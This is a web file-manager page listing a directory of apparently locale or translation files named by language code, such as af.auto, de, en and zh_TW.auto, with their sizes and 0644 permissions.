Filemanager

Name Type Size Permission Actions
af.auto File 27.15 KB 0644
ar.auto File 36.98 KB 0644
be.auto File 43.98 KB 0644
bg.auto File 44.91 KB 0644
ca File 30.97 KB 0644
cs.auto File 29.05 KB 0644
da.auto File 26.91 KB 0644
de File 28.37 KB 0644
el.auto File 49.72 KB 0644
en File 25.33 KB 0644
es File 27.57 KB 0644
es.auto File 207 B 0644
eu.auto File 28.41 KB 0644
fa.auto File 38.03 KB 0644
fi.auto File 28.39 KB 0644
fr File 600 B 0644
fr.auto File 30.78 KB 0644
he.auto File 32.45 KB 0644
hr.auto File 28.22 KB 0644
hu.auto File 30.8 KB 0644
it.auto File 29.82 KB 0644
ja.auto File 36.61 KB 0644
ko.auto File 30.57 KB 0644
lt.auto File 29.9 KB 0644
lv.auto File 28.49 KB 0644
ms File 147 B 0644
ms.auto File 27.23 KB 0644
mt.auto File 29.16 KB 0644
nl File 27.48 KB 0644
nl.auto File 189 B 0644
no File 26.72 KB 0644
pl File 28.7 KB 0644
pt.auto File 29.61 KB 0644
pt_BR File 29.37 KB 0644
pt_BR.auto File 532 B 0644
ro.auto File 29.71 KB 0644
ru.auto File 44.79 KB 0644
sk.auto File 29.22 KB 0644
sl.auto File 28.66 KB 0644
sv.auto File 27.22 KB 0644
th.auto File 51.11 KB 0644
tr.auto File 28.54 KB 0644
uk.auto File 43.6 KB 0644
ur.auto File 38.75 KB 0644
vi.auto File 32.59 KB 0644
zh.auto File 23.82 KB 0644
zh_TW.auto File 23.81 KB 0644